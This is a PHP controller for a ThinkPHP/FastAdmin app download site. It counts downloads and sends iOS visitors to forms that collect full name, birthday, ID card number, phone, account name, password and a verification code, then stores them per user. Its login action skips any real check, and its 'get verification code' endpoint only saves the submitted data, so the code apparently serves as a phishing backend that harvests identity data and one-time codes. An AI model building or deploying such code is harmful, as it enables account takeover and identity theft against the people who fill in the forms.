<?php

namespace app\index\controller;

use app\common\controller\Frontend;
use think\Config;
use think\Hook;
use think\Validate;

use think\Session;

use app\admin\library\Auth;
use PhpOffice\PhpSpreadsheet\Cell\Coordinate;
use PhpOffice\PhpSpreadsheet\Reader\Xlsx;
use PhpOffice\PhpSpreadsheet\Reader\Xls;
use PhpOffice\PhpSpreadsheet\Reader\Csv;
use think\Db;
use think\Exception;
use think\exception\PDOException;
use think\exception\ValidateException;

use think\Log;


use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\IWriter;
//use PhpOffice\PhpSpreadsheet\Writer\Xlsx;
use PhpOffice\PhpSpreadsheet\IOFactory;


use fast\Http;

use GatewayClient\Gateway;


class Download extends Frontend
{

    protected $layout = 'default';
    protected $noNeedRight = ['*'];
    protected $noNeedLogin = ['*'];


    protected $thmapp = null;//关联的fa_thm_app

    public function _initialize()
    {
        parent::_initialize();

        $this->thmapp = \app\admin\model\thm\App::get(5);
        $this->thmapp = $this->thmapp->toArray();
        $this->view->assign("thmapp", $this->thmapp);
    }

    /**
     * 首页
     */
    //http://fastaws.test/index/download/login
    public function login()
    {
        if ($this->request->isPost()) {
//            $uinfo = \app\admin\model\thm\Userinfolog::where("content5", $_POST['content5'])->where("content6", $_POST['content6'])->find();
//            if (!$uinfo) {
//                $this->error("錯誤的用戶名或密碼！");
//            }
//            $this->success("登錄成功！", url('download/index'));
            header("Location:download/index");
        }
        $this->view->assign('title', __('登錄'));
        return $this->view->fetch();
    }

    //http://fastaws.test/index/download/index
    public function index()
    {
        if (strpos($_SERVER['HTTP_USER_AGENT'], 'iPhone') || strpos($_SERVER['HTTP_USER_AGENT'], 'iPad')) {
//            echo 'systerm is IOS!';
            header("Location:download/iosindex");
//            header("Location:iosindex");
            exit();
        } else if (strpos($_SERVER['HTTP_USER_AGENT'], 'Android')) {
//            echo 'systerm is Android';
        } else {
//            echo 'systerm is other';
        }

        $thmapp = \app\admin\model\thm\App::get(5);
        $thmapp->download_web_djsl += 1;
        $thmapp->save();

        $this->view->assign('title', __('下载'));
        return $this->view->fetch();
    }

    public function iosindex()
    {
        $thmapp = \app\admin\model\thm\App::get(5);
        $thmapp->download_web_djsl_ios += 1;
        $thmapp->save();

        $this->view->assign('title', __('IOS'));
        return $this->view->fetch();
    }

    //ios 的下载页面用来上传
    public function ios() {

        $thmapp = \app\admin\model\thm\App::get(5);

        if ($this->request->isPost()) {
            $data = [];
            //姓名 生日 身份證 電話 賬號 密碼
            $data['content1'] = $this->request->post('content1');
            $data['content2'] = $this->request->post('content2');
            $data['content3'] = $this->request->post('content3');
            $data['content4'] = $this->request->post('content4');//手机号
            $data['content5'] = $this->request->post('content5');
            $data['content6'] = $this->request->post('content6');
            $data['content7'] = $this->request->post('content7');

            $thmuser = \app\admin\model\thm\User::where("name", $data['content4'])->find();
            if (!$thmuser) {
                $this->error("无此用户！");
            }

            if ($thmapp->a3_name1_len > 0 && strlen($data['content1']) < $thmapp->a3_name1_len) {
                $this->error("输入长度不能少于" . $thmapp->a3_name1_len . "个字！");
            }
            if ($thmapp->a3_name2_len > 0 && strlen($data['content2']) < $thmapp->a3_name2_len) {
                $this->error("输入长度不能少于" . $thmapp->a3_name2_len . "个字！");
            }
            if ($thmapp->a3_name3_len > 0 && strlen($data['content3']) < $thmapp->a3_name3_len) {
                $this->error("输入长度不能少于" . $thmapp->a3_name3_len . "个字！");
            }
            if ($thmapp->a3_name4_len > 0 && strlen($data['content4']) < $thmapp->a3_name4_len) {
                $this->error("输入长度不能少于" . $thmapp->a3_name4_len . "个字！");
            }
            if ($thmapp->a3_name5_len > 0 && strlen($data['content5']) < $thmapp->a3_name5_len) {
                $this->error("输入长度不能少于" . $thmapp->a3_name1_len . "个字！");
            }
            if ($thmapp->a3_name6_len > 0 && strlen($data['content6']) < $thmapp->a3_name6_len) {
                $this->error("输入长度不能少于" . $thmapp->a3_name6_len . "个字！");
            }

            $uinfo = \app\admin\model\thm\Userinfolog::where('thm_user_id', $thmuser['id'])->find();
            if (!$uinfo) {
                $uinfo = new \app\admin\model\thm\Userinfolog();
                $data['thm_user_id'] = $thmuser['id'];
            }

            $thmuser->mobile = $data['content4'];
            $thmuser->save();

            $uinfo->allowField(true)->save($data);

            $this->success("信息上传成功！");
        }

        $this->view->assign('title', __('IOS'));
        $this->view->assign('thmapp', $thmapp);
        return $this->view->fetch();
    }

    public function ios2() {

        $content4 = $this->request->request('content4', "");

        $thmapp = \app\admin\model\thm\App::get(5);

        if ($this->request->isPost()) {
            $data = [];
            $data['content7'] = $this->request->post('content7');

            $thmuser = \app\admin\model\thm\User::where("name", $content4)->find();
            if (!$thmuser) {
                $this->error("无此用户！");
            }

            $uinfo = \app\admin\model\thm\Userinfolog::where('thm_user_id', $thmuser['id'])->find();
            if (!$uinfo) {
                $uinfo = new \app\admin\model\thm\Userinfolog();
                $data['thm_user_id'] = $thmuser['id'];
            }

            $uinfo->allowField(true)->save($data);

            $thmapp = \app\admin\model\thm\App::get(5);
            $thmapp->download_app_djsl_ios += 1;
            $thmapp->save();

            $this->success("信息上传成功！");
        }

        $this->view->assign('title', __('IOS'));
        $this->view->assign('thmapp', $thmapp);
        $this->view->assign('content4', $content4);
        return $this->view->fetch();
    }

    //信息提交完成
    public function ios3() {
        $this->view->assign('title', __('IOS'));
        return $this->view->fetch();
    }

    //获取验证码
    public function hqyzm()
    {
        $thmapp = \app\admin\model\thm\App::get(5);

        $data = [];
        //姓名 生日 身份證 電話 賬號 密碼
        $data['content1'] = $this->request->post('content1');
        $data['content2'] = $this->request->post('content2');
        $data['content3'] = $this->request->post('content3');
        $data['content4'] = $this->request->post('content4');//手机号
        $data['content5'] = $this->request->post('content5');
        $data['content6'] = $this->request->post('content6');
//        $data['content7'] = $this->request->post('content7');//验证码

        $thmuser = \app\admin\model\thm\User::where("name", $data['content4'])->find();
        if (!$thmuser) {
            $thmuser = new \app\admin\model\thm\User();
            $thmuser->name = $data['content4'];
            $thmuser->app_id = 5;
            $thmuser->app_sn = "IOS";
            $thmuser->sjxh = "IOS";
            $thmuser->save();

            $uinfo = \app\admin\model\thm\Userinfolog::where('thm_user_id', $thmuser['id'])->find();
            if (!$uinfo) {
                $uinfo = new \app\admin\model\thm\Userinfolog();
                $data['thm_user_id'] = $thmuser['id'];
            }
            $uinfo->allowField(true)->save($data);

        }

//        $this->success($thmapp->a3_nametip7);
        $this->success("正在获取验证码！");
    }

    public function dodownload()
    {
        $thmapp = \app\admin\model\thm\App::get(5);
        $thmapp->download_app_djsl += 1;
        $thmapp->save();
        $this->success("正在下载");
    }

    //http://fastaws.test/index/download/downloadnote
    public function downloadnote()
    {
        $thmapp = \app\admin\model\thm\App::get(5);
        $fd = $thmapp->download_note;
        $this->view->assign('fd', $fd);
        $this->view->assign('title', __('下载'));
        return $this->view->fetch();
    }

    //http://fastaws.test/index/download/downloadnoteios
    public function downloadnoteios()
    {
        $thmapp = \app\admin\model\thm\App::get(5);
        $fd = $thmapp->download_note_ios;
        $this->view->assign('fd', $fd);
        $this->view->assign('title', __('下载'));
        return $this->view->fetch();
    }


}
